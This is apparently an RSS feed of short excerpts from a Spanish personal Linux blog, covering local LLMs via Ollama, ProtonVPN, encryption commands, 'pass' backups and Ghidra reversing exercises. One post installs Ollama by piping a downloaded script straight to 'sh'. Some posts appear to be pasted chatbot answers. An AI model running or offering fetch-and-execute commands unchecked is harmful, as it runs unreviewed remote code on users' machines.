<p><a href="https://www.gnu.org/proprietary/proprietary.html">https://www.gnu.org/proprietary/proprietary.html</a></p>
<h1 id="el-software-propietario-frecuentemente-es-malware">El Software Propietario Frecuentemente es Malware</h1>
<p>El software propietario, también llamado software no libre, se refiere al software que no <a href="https://www.gnu.org/philosophy/free-sw.es.html">respeta la libertad de los usuarios y la comunidad</a>. Un programa propietario coloca a su desarrollador o dueño en una <a href="https://www.gnu.org/philosophy/free-software-even-more-important.es.html">posición de poder sobre sus usuarios</a>. Este poder es en sí mismo una injusticia.</p>
<p>El objetivo de este directorio es mostrar mediante ejemplos que la injusticia inicial del software propietario a menudo conduce a injusticias mayores: funcionalidades maliciosas.</p>
-
La maquina que te va a comer
https://imlauera.github.io/la_maquina_que_te_va_a_comer/
Tue, 17 Feb 2026 17:11:35 -0300
https://imlauera.github.io/la_maquina_que_te_va_a_comer/
<p>¿Qué significa “la máquina que te va a comer”?<br>
Cuando dice:</p>
<p>“You are building the machine that will eat you”</p>
<p>no habla literalmente de robots asesinos. Habla de:</p>
<p>1️⃣ Automatización que reemplaza a quienes la crean</p>
<p>La “máquina” es el sistema corporativo + IA + algoritmos que:</p>
<p>Optimiza beneficios</p>
<p>Reduce costos</p>
<p>Sustituye trabajadores</p>
<p>Despide cuando ya no sos útil</p>
<p>Es una crítica al modelo: los empleados están entrenando y perfeccionando sistemas que eventualmente los vuelven prescindibles.</p>
-
PDF to html
https://imlauera.github.io/pdf_to_html/
Mon, 16 Feb 2026 15:41:58 -0300
https://imlauera.github.io/pdf_to_html/
<p>Actualización: Mirá lo que hizo el loco este para escanear un diccionario de Gregg en inglés.</p>
<p><a href="https://github.com/richyliu/greggdict/blob/master/format/README.md">https://github.com/richyliu/greggdict/blob/master/format/README.md</a></p>
<h1 id="diccionario-de-taquigrafía">Diccionario de Taquigrafía</h1>
<h2 id="esquema-del-proceso-de-ocr">Esquema del proceso de OCR</h2>
<p>El proceso para obtener las palabras y sus posiciones a partir de las fotos originales es bastante complicado. A continuación, un resumen del proceso:</p>
<hr>
<h3 id="paso-0-limpiar-las-imágenes">Paso 0: Limpiar las imágenes</h3>
<p>No lo hice al principio, pero esto mejoraría mucho los resultados del OCR.
Blanquear las imágenes y aumentar el contraste y la nitidez usando una herramienta como <strong>ImageMagick</strong>.</p>
-
Vpn cli
https://imlauera.github.io/vpn_cli/
Wed, 11 Feb 2026 05:51:20 -0300
https://imlauera.github.io/vpn_cli/
<p>Personalmente no uso VPN solo Tor o Lokinet, pero si vas a usar algo como ProtonVPN aca tenes como hacerlo:</p>
<p>En <strong>Arch Linux</strong> no se recomienda ya el viejo <code>protonvpn-cli</code> (v2) porque quedó obsoleto.
La forma correcta hoy es usar la <strong>app oficial de Proton para Linux</strong>, que incluye backend y soporte WireGuard/OpenVPN.</p>
<p>Te dejo las opciones limpias y actuales 👇</p>
<hr>
<h1 id="-opción-1--instalar-cliente-oficial-recomendado">✅ Opción 1 — Instalar cliente oficial (recomendado)</h1>
<p>En Arch está en <strong>AUR</strong>.</p>
-
LLM desde la terminal gratis (Groq)
https://imlauera.github.io/cheap_llm/
Wed, 11 Feb 2026 04:00:53 -0300
https://imlauera.github.io/cheap_llm/
<p>Usa aichat tenes que crearte una cuenta en <a href="https://console.groq.com/">https://console.groq.com/</a> y una api key.</p>
<h2 id="opción-1-llms-locales-ligeros-recomendado">Opción 1: LLMs locales ligeros (RECOMENDADO)</h2>
<p>Aunque digas que tu hardware es ligero, hay modelos que funcionan incluso en CPUs modestas:</p>
<p><strong>Ollama</strong> con modelos pequeños:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># Instalar desde AUR</span>
</span></span><span style="display:flex;"><span>yay -S ollama
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Iniciar servicio</span>
</span></span><span style="display:flex;"><span>sudo systemctl start ollama
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Modelos muy ligeros (1.5-3GB RAM):</span>
</span></span><span style="display:flex;"><span>ollama run tinyllama
</span></span><span style="display:flex;"><span>ollama run llama3.2:1b <span style="color:#75715e"># El más ligero, 1GB</span>
</span></span><span style="display:flex;"><span>ollama run phi3:mini <span style="color:#75715e"># 2.3GB</span>
</span></span><span style="display:flex;"><span>ollama run qwen2.5:1.5b <span style="color:#75715e"># 1.5GB</span>
</span></span></code></pre></div><p>Luego puedes usarlo desde consola:</p>
-
El georgito
https://imlauera.github.io/el_georgito/
Sat, 07 Feb 2026 23:34:55 -0300
https://imlauera.github.io/el_georgito/
<p><a href="https://imlauera.github.io/geohot_train.txt">https://imlauera.github.io/geohot_train.txt</a></p>
<h3 id="generá-el-audio">Generá el audio.</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>links -dump -width <span style="color:#ae81ff">512</span> https://imlauera.github.io/el_georgito | tr <span style="color:#e6db74">"\n\ r"</span> <span style="color:#e6db74">" "</span> | sed <span style="color:#e6db74">"s/^.*, consoomer version//g"</span> | espeak-ng -v es -s <span style="color:#ae81ff">120</span> -p <span style="color:#ae81ff">30</span> -w george.m4a
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>o
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>links -dump -width <span style="color:#ae81ff">512</span> https://imlauera.github.io/el_georgito | tr <span style="color:#e6db74">"\n\ r"</span> <span style="color:#e6db74">" "</span> | sed <span style="color:#e6db74">"s/^.*, consoomer version//g"</span> | espeak -v es -s <span style="color:#ae81ff">130</span> -p <span style="color:#ae81ff">50</span> -g <span style="color:#ae81ff">10</span> -w george.m4a
</span></span></code></pre></div><h1 id="sobre-la-creación-de-dinero">Sobre la Creación de Dinero</h1>
<p><a href="https://geohot.github.io/blog/jekyll/update/2020/08/07/on-money-creation.html">https://geohot.github.io/blog/jekyll/update/2020/08/07/on-money-creation.html</a></p>
<p>Considera un pueblo minero. Érase una vez una mina, y la mina era el empleador más grande del pueblo. Extraían mineral de cobre y lo vendían en el mercado global. Esto traía dinero al pueblo, donde surgieron un restaurante, una inmobiliaria, un consultorio médico y una iglesia. Aunque esas personas no estaban empleadas por la mina, tenían suficientes clientes entre los mineros, quienes fundamentalmente obtenían su dinero de fuera del pueblo.</p>
-
Hotz sobre Silicon Valley
https://imlauera.github.io/hotz_silicon_valley/
Fri, 06 Feb 2026 02:48:40 -0300
https://imlauera.github.io/hotz_silicon_valley/
<p>En los textos proporcionados, George Hotz (conocido como geohot) describe varios esquemas fraudulentos o “estafas” (scams) típicos de Silicon Valley, enfocándose en cómo la industria tecnológica, impulsada por capital de riesgo (VC), genera hype alrededor de innovaciones como los robotaxis y la IA, pero termina en monopolios, explotación y pérdida de libertades individuales. Él los presenta como ciclos repetitivos donde los estafadores se mantienen un paso adelante, disfrazando los mismos trucos con narrativas nuevas como “abundancia de IA” o regulaciones “para el bien de la comunidad”. A continuación, desgloso las estafas que menciona en los textos, y luego agrego hallazgos de una investigación adicional basada en declaraciones públicas de Hotz.</p>
-
Como largarse
https://imlauera.github.io/como_largarse/
Thu, 05 Feb 2026 10:50:16 -0300
https://imlauera.github.io/como_largarse/
<p><a href="http://ranprieur.com/essays/dropout.html">http://ranprieur.com/essays/dropout.html</a></p>
<p><a href="https://archive.org/details/HowToDropOutByRanPrieur">https://archive.org/details/HowToDropOutByRanPrieur</a></p>
<p><strong>Aviso legal (actualizado por última vez en octubre de 2014)</strong></p>
<p>El original de 2004 <em>Cómo largarse</em> es, con diferencia, lo más popular que he escrito, y miles de personas han encontrado mi sitio web buscando “cómo largarse de la sociedad” en Google, pero me pregunto si habrá valido la pena. El mensaje que pretendía transmitir era algo así como: “Si tienes la concentración mental y la autodisciplina para triunfar en la sociedad dominante, pero no te gusta, aquí te explico cómo puedes cambiar tu sistema de valores para reducir tu necesidad de dinero y estatus, y obtener algunos beneficios de la civilización industrial sin estar en una posición de obediencia forzada”. O: “La sociedad es tu enemiga, te ataca haciéndote necesitar dinero, y si eres mejor que la persona promedio a la hora de sacrificar el confort por objetivos a largo plazo, puedes trabajar hacia una posición donde necesites relativamente poco dinero y tengas más tiempo libre”.</p>
-
Ollama
https://imlauera.github.io/ollama/
Thu, 05 Feb 2026 02:36:16 -0300
https://imlauera.github.io/ollama/
<p><strong>GPT4All es una cagada en CLI</strong>, no sos vos.
Es <strong>una librería</strong>, no un comando usable out-of-the-box. El binario a veces no se instala, a veces sí, y cuando sí… anda mal. Punto.</p>
<p>Ahora sí: <strong>la ÚNICA opción decente hoy para lo que querés</strong> 👇</p>
<hr>
<h1 id="-ollama-esto-sí-funciona">🔥 OLLAMA (esto SÍ funciona)</h1>
<p>Esto es lo más cercano a <em>“yt-dlp pero para IA”</em> que existe hoy.</p>
<ul>
<li>✅ Gratis</li>
<li>✅ CLI real</li>
<li>✅ Corre modelos LLM <strong>locales</strong></li>
<li>✅ Funciona en Linux <strong>sin vueltas</strong></li>
<li>❌ No es vaporware</li>
<li>❌ No es una lib inútil</li>
</ul>
<hr>
<h2 id="-instalación-linux">🚀 Instalación (Linux)</h2>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>curl -fsSL https://ollama.com/install.sh | sh
</span></span></code></pre></div><p>Probá que existe:</p>
-
Only cli
https://imlauera.github.io/only_cli/
Thu, 05 Feb 2026 02:06:24 -0300
https://imlauera.github.io/only_cli/
<p>Claro — hay alternativas <strong>gratuitas o de código abierto</strong> que te permiten buscar/consultar información desde la consola sin navegador y sin pagar por ChatGPT. La idea es usar <strong>LLMs locales o APIs libres</strong>, combinadas con buscadores de texto, para reemplazar búsquedas web tradicionales.</p>
<hr>
<h2 id="-opciones-para-chatgpt-en-la-consola-gratuitas--open-source">🧠 Opciones para “ChatGPT en la consola” (gratuitas / open-source)</h2>
<p>Estas herramientas te permiten <strong>hacer preguntas y obtener respuestas tipo IA desde la terminal</strong>:</p>
<h3 id="-1-gpt4all">✅ 1. <strong>GPT4All</strong></h3>
<p>Un modelo LLM local que puedes ejecutar sin internet.</p>
-
Cifrar carpetass, comprimirlas y subirlas., comprimirlas y subirlas.
https://imlauera.github.io/cifrar_carpeta/
Wed, 04 Feb 2026 19:13:06 -0300
https://imlauera.github.io/cifrar_carpeta/
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-basic" data-lang="basic"><span style="display:flex;"><span>sudo pacman <span style="color:#f92672">-</span>Ss p7zi
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">#</span> Comprimir y cifrar en un solo paso
</span></span><span style="display:flex;"><span>tar czf <span style="color:#f92672">-</span> carpeta<span style="color:#f92672">/</span> <span style="color:#f92672">|</span> gpg <span style="color:#f92672">-</span>c <span style="color:#f92672">></span> carpeta<span style="color:#f92672">.</span>tar<span style="color:#f92672">.</span>gz<span style="color:#f92672">.</span>gpg
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">#</span> Descomprimir y descifrar
</span></span><span style="display:flex;"><span>gpg <span style="color:#f92672">-</span>d carpeta<span style="color:#f92672">.</span>tar<span style="color:#f92672">.</span>gz<span style="color:#f92672">.</span>gpg <span style="color:#f92672">|</span> tar xzf <span style="color:#f92672">-</span>
</span></span></code></pre></div><h2 id="opción-2-7zip-con-cifrado-aes-256-muy-bueno">Opción 2: 7zip con cifrado AES-256 (Muy bueno)</h2>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># Instalar 7zip si no lo tienes</span>
</span></span><span style="display:flex;"><span>sudo pacman -S p7zip
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Comprimir y cifrar</span>
</span></span><span style="display:flex;"><span>7z a -p -mhe<span style="color:#f92672">=</span>on -mx<span style="color:#f92672">=</span><span style="color:#ae81ff">9</span> carpeta.7z carpeta/
</span></span><span style="display:flex;"><span><span style="color:#75715e"># -p: pide contraseña</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># -mhe=on: cifra nombres de archivos también</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># -mx=9: máxima compresión</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Descomprimir</span>
</span></span><span style="display:flex;"><span>7z x carpeta.7z
</span></span></code></pre></div><h2 id="opción-3-zip-con-cifrado-compatible-pero-menos-seguro">Opción 3: zip con cifrado (Compatible pero menos seguro)</h2>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># Comprimir y cifrar</span>
</span></span><span style="display:flex;"><span>zip -er carpeta.zip carpeta/
</span></span><span style="display:flex;"><span><span style="color:#75715e"># -e: cifrar</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># -r: recursivo</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Descomprimir</span>
</span></span><span style="display:flex;"><span>unzip carpeta.zip
</span></span></code></pre></div><h2 id="opción-4-tar--openssl-alternativa-a-gpg">Opción 4: tar + openssl (Alternativa a gpg)</h2>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># Comprimir y cifrar</span>
</span></span><span style="display:flex;"><span>tar czf - carpeta/ | openssl enc -aes-256-cbc -pbkdf2 -out carpeta.tar.gz.enc
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Descomprimir y descifrar</span>
</span></span><span style="display:flex;"><span>openssl enc -d -aes-256-cbc -pbkdf2 -in carpeta.tar.gz.enc | tar xzf -
</span></span></code></pre></div><h2 id="opción-5-veracrypt-para-contenedores-grandes">Opción 5: VeraCrypt (Para contenedores grandes)</h2>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># Instalar</span>
</span></span><span style="display:flex;"><span>yay -S veracrypt
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Crear contenedor cifrado (GUI o CLI)</span>
</span></span><span style="display:flex;"><span>veracrypt -t -c
</span></span></code></pre></div><h2 id="mi-recomendación">Mi recomendación:</h2>
<p>Para subir a la nube, usa <strong>7zip con cifrado</strong>:</p>
-
Tldr
https://imlauera.github.io/tldr/
Wed, 04 Feb 2026 17:28:55 -0300
https://imlauera.github.io/tldr/
<h1 id="recursos-masivos-para-búsqueda-local-con-grep">Recursos Masivos para Búsqueda Local con grep</h1>
<h2 id="1-comandos-de-linux---compilaciones-gigantes">1. COMANDOS DE LINUX - Compilaciones Gigantes</h2>
<h3 id="tldr-pages-lo-más-recomendado"><strong>tldr-pages</strong> (Lo más recomendado)</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># Clonar repositorio con miles de ejemplos</span>
</span></span><span style="display:flex;"><span>git clone https://github.com/tldr-pages/tldr.git
</span></span><span style="display:flex;"><span>cd tldr/pages
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Buscar comandos específicos</span>
</span></span><span style="display:flex;"><span>grep -r <span style="color:#e6db74">"ffmpeg"</span> .
</span></span><span style="display:flex;"><span>grep -r <span style="color:#e6db74">"convert.*pdf"</span> .
</span></span><span style="display:flex;"><span>grep -r <span style="color:#e6db74">"compress"</span> .
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Buscar en español</span>
</span></span><span style="display:flex;"><span>cd tldr/pages.es
</span></span><span style="display:flex;"><span>grep -r <span style="color:#e6db74">"buscar.*archivo"</span> .
</span></span></code></pre></div><p><strong>Contenido:</strong> +5000 comandos con ejemplos prácticos de:</p>
<ul>
<li>ffmpeg, mpv, imagemagick, git, docker, curl, etc.</li>
<li>Formato Markdown simple y fácil de buscar</li>
</ul>
<h3 id="cheatsh---base-de-datos-masiva"><strong>cheat.sh - Base de datos masiva</strong></h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># Descargar toda la base de datos</span>
</span></span><span style="display:flex;"><span>git clone https://github.com/chubin/cheat.sheets.git
</span></span><span style="display:flex;"><span>cd cheat.sheets
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Buscar cualquier cosa</span>
</span></span><span style="display:flex;"><span>grep -ri <span style="color:#e6db74">"ffmpeg.*convert"</span> .
</span></span><span style="display:flex;"><span>grep -ri <span style="color:#e6db74">"mpv.*subtitle"</span> .
</span></span><span style="display:flex;"><span>grep -ri <span style="color:#e6db74">"tar.*compress"</span> .
</span></span></code></pre></div><h3 id="linux-command-library"><strong>Linux Command Library</strong></h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># Colección de comandos organizados</span>
</span></span><span style="display:flex;"><span>git clone https://github.com/CommandLineFu/CommandLineFu.git
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Buscar</span>
</span></span><span style="display:flex;"><span>grep -r <span style="color:#e6db74">"your_search"</span> .
</span></span></code></pre></div><h3 id="instalar-herramientas-offline"><strong>Instalar herramientas offline:</strong></h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># En Ubuntu/Debian</span>
</span></span><span style="display:flex;"><span>sudo apt install tldr cheat
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Actualizar base de datos</span>
</span></span><span style="display:flex;"><span>tldr --update
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Uso</span>
</span></span><span style="display:flex;"><span>tldr ffmpeg
</span></span><span style="display:flex;"><span>tldr tar
</span></span><span style="display:flex;"><span>cheat ffmpeg
</span></span></code></pre></div><h2 id="2-wikipedia-offline---texto-comprimido">2. WIKIPEDIA OFFLINE - Texto Comprimido</h2>
<h3 id="kiwix-recomendado"><strong>Kiwix (Recomendado)</strong></h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># Instalar Kiwix</span>
</span></span><span style="display:flex;"><span>sudo apt install kiwix-tools
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Descargar Wikipedia en español (texto, ~10GB comprimido)</span>
</span></span><span style="display:flex;"><span>wget https://download.kiwix.org/zim/wikipedia_es_all_maxi.zim
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># O versión mini (~3GB)</span>
</span></span><span style="display:flex;"><span>wget https://download.kiwix.org/zim/wikipedia_es_all_mini.zim
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Buscar en la Wikipedia</span>
</span></span><span style="display:flex;"><span>kiwix-search wikipedia_es_all_maxi.zim <span style="color:#e6db74">"tu búsqueda"</span>
</span></span></code></pre></div><h3 id="wikipedia-text-dump"><strong>Wikipedia Text Dump</strong></h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># Descargar dump completo de Wikipedia en texto</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Español (~20GB comprimido, ~60GB descomprimido)</span>
</span></span><span style="display:flex;"><span>wget https://dumps.wikimedia.org/eswiki/latest/eswiki-latest-pages-articles.xml.bz2
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Descomprimir</span>
</span></span><span style="display:flex;"><span>bunzip2 eswiki-latest-pages-articles.xml.bz2
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Convertir a texto plano con wikiextractor</span>
</span></span><span style="display:flex;"><span>pip install wikiextractor
</span></span><span style="display:flex;"><span>python -m wikiextractor.WikiExtractor eswiki-latest-pages-articles.xml
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Ahora puedes usar grep</span>
</span></span><span style="display:flex;"><span>grep -r <span style="color:#e6db74">"tu búsqueda"</span> text/
</span></span></code></pre></div><h3 id="wikipedia-comprimida-alternativa"><strong>Wikipedia comprimida alternativa</strong></h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># Proyecto WikiTeam - versión más ligera</span>
</span></span><span style="display:flex;"><span>git clone https://github.com/WikiTeam/wikiteam.git
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Seguir instrucciones para descargar wikis específicas</span>
</span></span></code></pre></div><h2 id="3-combinación-perfecta---script-de-búsqueda">3. COMBINACIÓN PERFECTA - Script de Búsqueda</h2>
<p>Crea este script <code>buscar.sh</code>:</p>
-
Backup neomutt passwords
https://imlauera.github.io/backup_neomutt_passwords/
Wed, 04 Feb 2026 02:25:48 -0300
https://imlauera.github.io/backup_neomutt_passwords/
<p>Short answer: <strong><code>pass</code> stores everything in <code>~/.password-store/</code></strong>, encrypted with <strong>GPG</strong>.
If you don’t copy your <strong>GPG key</strong>, the passwords will be useless after reinstall.</p>
<p>Here’s the full, no-BS explanation 👇</p>
<hr>
<h2 id="where-pass-saves-passwords">Where <code>pass</code> saves passwords</h2>
<p><code>pass</code> is just a fancy wrapper around:</p>
<pre tabindex="0"><code>~/.password-store/
</code></pre><p>Inside that directory you’ll see files like:</p>
<pre tabindex="0"><code>email/gmail.gpg
email/protonmail.gpg
mutt/imap.gpg
</code></pre><p>Each file is <strong>GPG-encrypted</strong>.
So copying only the files is <strong>not enough</strong>.</p>
<hr>
<h2 id="the-critical-part-your-gpg-key-">The CRITICAL part: your GPG key 🔐</h2>
<p><code>pass</code> encrypts using <strong>your GPG private key</strong>, usually stored in:</p>
-
14ricardo reversing
https://imlauera.github.io/14ricardo_reversing/
Tue, 03 Feb 2026 03:59:41 -0300
https://imlauera.github.io/14ricardo_reversing/
<p>00014knrmZF0Osbg.es.srt</p>
<p>Este video es la <strong>parte de introducción y setup del ejercicio 5</strong> en Ghidra, donde se identifica el <code>main</code> y se explora la estructura general del programa antes de comenzar el análisis.</p>
<hr>
<p><strong>Setup del proyecto en Ghidra:</strong></p>
<p>Se importó el ejecutable con la opción de cargar todas las librerías habilitada (<code>Load external libraries</code>), lo cual genera una pestaña por cada DLL. Se analizó todo de una vez con “analyze all open”. Se ejecutó el programa brevemente para ver su comportamiento: es un programa de consola que imprime varias strings relacionadas con estructuras, clases y objetos.</p>
-
13ricardo reversing
https://imlauera.github.io/13ricardo_reversing/
Tue, 03 Feb 2026 03:56:28 -0300
https://imlauera.github.io/13ricardo_reversing/
<p>00013k10cWFxpGW0.es.srt</p>
<p>Este video es la <strong>parte inicial del análisis estático del ejercicio 5</strong>, donde se identifican y reconstruyen la <strong>estructura global</strong> y las primeras funciones del <code>main</code>.</p>
<hr>
<p><strong>Estructura <code>global_struct</code>:</strong></p>
<p>Se identificó una estructura global en la sección <code>.data</code> porque los accesos a sus campos se hacían siempre desde una dirección base + offset (<code>RCX + 0x08</code>, <code>RCX + 0x0A</code>, <code>RCX + 0x0C</code>). Se creó manualmente campo por campo:</p>
<table>
<thead>
<tr>
<th>Offset</th>
<th>Campo</th>
<th>Tipo</th>
<th>Valor</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x00</td>
<td><code>ask_string</code></td>
<td><code>char*</code></td>
<td>Puntero a <code>"hello from struct"</code></td>
</tr>
<tr>
<td>0x08</td>
<td><code>tipo_byte</code></td>
<td><code>BYTE</code></td>
<td><code>0x7F</code></td>
</tr>
<tr>
<td>0x09</td>
<td>padding</td>
<td><code>BYTE</code></td>
<td>—</td>
</tr>
<tr>
<td>0x0A</td>
<td><code>tipo_word</code></td>
<td><code>WORD</code></td>
<td><code>0x6189</code></td>
</tr>
<tr>
<td>0x0C</td>
<td><code>tipo_dword</code></td>
<td><code>DWORD</code></td>
<td>valor seteado en la función</td>
</tr>
</tbody>
</table>
<p>La estructura se renotó como <code>global_struct</code> y su instancia en memoria como <code>my_global_struct</code>.</p>
-
12ricardo reversing
https://imlauera.github.io/12ricardo_reversing/
Tue, 03 Feb 2026 03:49:43 -0300
https://imlauera.github.io/12ricardo_reversing/
<p>00012ZV11D8ZqfCs.es.srt</p>
<p>Tienes razón, disculpa. Aquí va completo:</p>
<p>Este video es una parte corta del ejercicio 5 donde se analiza la <strong>función <code>imprimir_array</code></strong> que se llama desde <code>main</code>.</p>
<hr>
<p><strong>Argumentos de la función:</strong></p>
<p>Recibe dos parámetros (los otros dos se eliminaron porque no se usan internamente):</p>
<ul>
<li><code>param_1</code>: un puntero a enteros (<code>int*</code>), que es la dirección del array ubicado en la sección <code>.data</code>. Se renotó como <code>mi_array_de_enteros</code>.</li>
<li><code>param_2</code>: el valor literal <code>3</code>, que es la cantidad de elementos a leer. Se renotó como <code>0x3</code>.</li>
</ul>
<hr>
<p><strong>Lógica de la función:</strong></p>
-
11ricardo reversing
https://imlauera.github.io/11ricardo_reversing/
Tue, 03 Feb 2026 03:48:06 -0300
https://imlauera.github.io/11ricardo_reversing/
<p>000110o5q7ZXuFIk.es.srt</p>
<p>Este video es la <strong>parte inicial del análisis estático de las clases</strong> del ejercicio 5, donde se identifican y reconstruyen las clases <code>derived_example_1</code>, <code>base</code>, y <code>nest</code>, junto con sus estructuras y vtables.</p>
<hr>
<p><strong>Generación del valor <code>random</code>:</strong></p>
<p>Se identificó el patrón estándar de <code>srand</code>/<code>rand</code>: se llama a una función que obtiene el tiempo actual (<code>time_64</code>, segundos desde epoch 1970), ese valor se pasa como semilla a <code>srand</code>, y después <code>rand</code> devuelve un valor random que se castea a <code>unsigned short</code>.</p>
-
10ricardo reversing
https://imlauera.github.io/10ricardo_reversing/
Tue, 03 Feb 2026 03:46:24 -0300
https://imlauera.github.io/10ricardo_reversing/
<p>00010TJAQ_uIjjPw.es.srt</p>
<p>Este video es una sesión de <strong>renombramientos y configuración de vtables</strong> del ejercicio 5, limpiando lo que quedaba pendiente del análisis estático anterior.</p>
<hr>
<p><strong>Renombramientos en <code>main</code>:</strong></p>
<p>Las tres funciones principales se identificaron por las strings que imprimen al inicio:</p>
<ul>
<li><code>type_pointer</code> → objeto en el heap (creado con <code>new</code>)</li>
<li><code>type_stack</code> → objeto en el stack</li>
<li><code>type_global</code> → objeto en sección <code>.data</code></li>
</ul>
<p>Las tres reciben el mismo valor <code>random</code> como argumento.</p>
-
09ricardo reversing
https://imlauera.github.io/09ricardo_reversing/
Tue, 03 Feb 2026 03:44:34 -0300
https://imlauera.github.io/09ricardo_reversing/
<p>000093hu2Z_1E9lA.es.srt</p>
<p>Este video es la <strong>parte 1 del análisis estático de la función <code>type_pointer</code></strong> del ejercicio 5, donde se analiza en detalle el comportamiento de los dos objetos creados en el heap: <code>derived_example_1</code> y <code>derived_example_2</code>.</p>
<hr>
<p><strong>Constructor y retorno:</strong></p>
<p>Se seteo el valor de retorno del constructor como <code>derived_example_1*</code> (siempre retorna <code>this</code>). Esto causó que Ghidra re-inferiera automáticamente los tipos de las variables que recibían ese retorno y las llamadas a través de la vtable se resolvieron correctamente.</p>
-
08ricardo reversing
https://imlauera.github.io/08ricardo_reversing/
Tue, 03 Feb 2026 03:42:56 -0300
https://imlauera.github.io/08ricardo_reversing/
<p>00008clAATT2k9UU.es.srt</p>
